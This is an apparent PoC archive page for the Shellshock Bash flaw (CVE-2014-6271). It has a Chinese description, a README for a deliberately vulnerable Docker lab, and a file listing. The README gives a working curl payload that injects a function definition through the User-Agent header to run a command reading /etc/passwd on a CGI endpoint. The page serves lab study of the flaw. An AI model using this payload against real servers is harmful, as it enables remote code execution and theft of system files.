CVE-2014-6271 PoC — GNU Bash 远程代码执行漏洞

Source

https://github.com/Pilou-Pilou/docker_CVE-2014-6271.

Associated Vulnerability

Title:GNU Bash 远程代码执行漏洞 (CVE-2014-6271)
Description:GNU Bash是美国软件开发者布莱恩-福克斯（Brian J. Fox）为GNU计划而编写的一个Shell（命令语言解释器），它运行于类Unix操作系统中（Linux系统的默认Shell），并能够从标准输入设备或文件中读取、执行命令，同时也结合了一部分ksh和csh的特点。 GNU Bash 4.3及之前版本中存在安全漏洞，该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用：OpenSSH sshd中的ForceComman

Readme

# docker_CVE-2014-6271.

1. docker build -t DOCKERIMAGENAME /path/to/dockerfile_directory
2. docker run -it -d -p 8080:80 DOCKERIMAGENAME
3. verify execution with: docker ps
4. verify web server execution: http://localhost:8080
5. exploit vulnerability :
	curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \http://localhost:8080/cgi-bin/vulnerable

File Snapshot


 [4.0K]  /data/pocs/d918b96a395765ccbf41b9977a118c7495e28dc1
├── [ 495]  Dockerfile
├── [ 226]  index.html
├── [  49]  main.sh
├── [4.0K]  packages
│   └── [1.4M]  bash_4.2_2Bdfsg-0.1_amd64.deb
├── [ 374]  README.md
└── [  63]  vulnerable

1 directory, 6 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!